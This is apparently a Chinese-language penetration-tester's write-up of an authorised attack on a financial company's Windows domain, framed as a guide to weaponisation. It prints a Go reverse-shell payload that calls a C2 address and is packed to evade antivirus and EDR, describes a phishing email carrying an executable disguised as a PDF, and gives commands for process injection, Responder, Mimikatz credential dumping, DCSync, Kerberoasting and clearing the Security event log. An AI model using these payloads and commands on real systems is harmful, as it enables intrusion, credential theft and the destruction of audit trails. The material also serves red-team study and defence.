一、从一次“无声入侵”说起
几个月前,我受邀参与一家金融企业的授权渗透测试。目标是他们的Windows域环境,分布式架构下包含多个域控制器和数百台终端设备。客户明确要求模拟真实的攻击场景,以发现潜在的安全隐患。任务开始前,我采用“外部钓鱼结合内网横向渗透”策略,最终在短短48小时内达成了域控权限的完全控制。今天,我将以这个案例为基础,剖析Windows域渗透攻击的技术细节以及武器化思路。
---
二、域环境的薄弱环节:攻击前的信息收集
目标分析:知己知彼才能百战不殆
在进入攻击链之前,我们必须对目标环境进行详细的侦察。这次的企业显然对外部攻击有一定防御能力,他们使用了NGFW防火墙、邮件网关过滤和EDR进行防护。但细节总会暴露一些线索,我通过以下方式获取了大量有价值的情报:
1. 通过公开数据收集子域名 利用crt.sh、SecurityTrails等工具,查询目标相关的子域名,锁定域名信息和IP地址。
<pre><code class="language-shell"># 使用crt.sh查询SSL证书关联的子域 curl -s https://crt.sh/?q=company.com | grep company.com</code></pre>
2. 社交工程和OSINT 通过LinkedIn、招聘网站、公司官网等平台,收集员工邮箱格式和组织结构信息。这次我发现公司邮箱常用[[email protected]]这种格式。
3. 网络扫描 通过Shodan或Censys扫描目标IP范围,锁定暴露的服务端口。例如,我发现一个外挂VPN网关存在弱密码登录的可能。
---
三、突破点:钓鱼邮件和初始访问
钓鱼邮件的艺术:如何让目标毫无防备
在目标的外部入口中,我选择设计一个含恶意载荷的钓鱼邮件。邮件内容需要高度可信,我伪造了一封“公司IT部门的通知邮件”,以“系统更新补丁安装”为主题,附带了一个伪装成PDF文档的恶意可执行文件。
Payload构造
我首先设计了一个免杀的反向Shell载荷,在目标执行后可以自动回连我的C2服务器。这次我使用了Go语言编写Payload,并利用混淆器进行免杀处理:
<pre><code class="language-go">package main
import ( "net" "os/exec" )
func ReverseShell() { conn, _ := net.Dial("tcp", "192.168.1.100:4444") // C2服务器的IP和端口 for { cmd := exec.Command("cmd.exe") // 远程执行命令 cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() // 运行shell } }
func main() { ReverseShell() }</code></pre>
免杀处理
通过Go编译后,我使用工具Hyperion对Payload进行加壳混淆。这样既绕过了传统杀毒软件,也规避了EDR的静态检测规则。
---

四、潜伏与横向移动:从普通用户到域管理员
初始进入:绕过EDR的对抗技术
钓鱼邮件成功后,我获得了一台普通员工的登录权限。此时目标环境的EDR开始对我的行为进行监控。我通过以下技巧进行对抗:
1. 进程注入 将反向Shell注入到合法进程中,例如explorer.exe。这样我的活动会隐藏在正常进程的后门中:
<pre><code class="language-shell"># 使用PowerShell注入到合法进程 Invoke-ReflectivePEInjection -PEPath "shellcode.bin" -ProcessID $(Get-Process -Name explorer).Id</code></pre>
2. 流量伪装 通过HTTPS加密隧道传输命令和数据,确保C2流量无法被规则检测。
---

横向移动:逐步接近域控
接下来,我需要在内网中横向扩展,以接近域控制器。以下是我采用的主要技术:
1. SMB Relay攻击 许多内网环境的SMB协议没有强制启用签名,我利用Responder工具伪造服务,获取Net-NTLMv2哈希并尝试中继到目标:
<pre><code class="language-shell"># 开启Responder捕获Net-NTLMv2 responder -I eth0 -rdw</code></pre>
2. 密码抓取 使用Mimikatz抓取内存中的明文密码和哈希值:
<pre><code class="language-shell">privilege::debug sekurlsa::logonPasswords</code></pre>
---
五、最终目标:域控制器权限夺取
从域用户到域管理员
我最终通过以下方式获取了域管理员权限:
1. Kerberoasting攻击 提取域服务账户的票据,离线破解密码:
<pre><code class="language-shell"># 导出服务账户票据 Rubeus.exe kerberoast /outfile:hash.txt
使用hashcat离线破解
hashcat -m 13100 hash.txt rockyou.txt</code></pre>
2. DCSync攻击 使用Mimikatz模拟域控制器同步,直接获取所有用户的哈希:
<pre><code class="language-shell">privilege::debug lsadump::dcsync /user:Administrator</code></pre>

---
六、反侦察与痕迹清除
让自己“消失”
完成域控权限后,我通过以下方式清理痕迹:
1. 清除日志 删除目标机器的安全日志:
<pre><code class="language-shell">wevtutil cl Security</code></pre>
2. 隐藏C2流量 关闭外部监听端口,并销毁临时文件。
---
七、个人经验分享:细节决定成败
Windows域渗透攻击的核心在于对目标环境的深度理解。每一步都需要结合实际情况调整策略。记住,真正的红队攻击不是靠工具堆砌,而是凭借对技术和人性弱点的精准把握。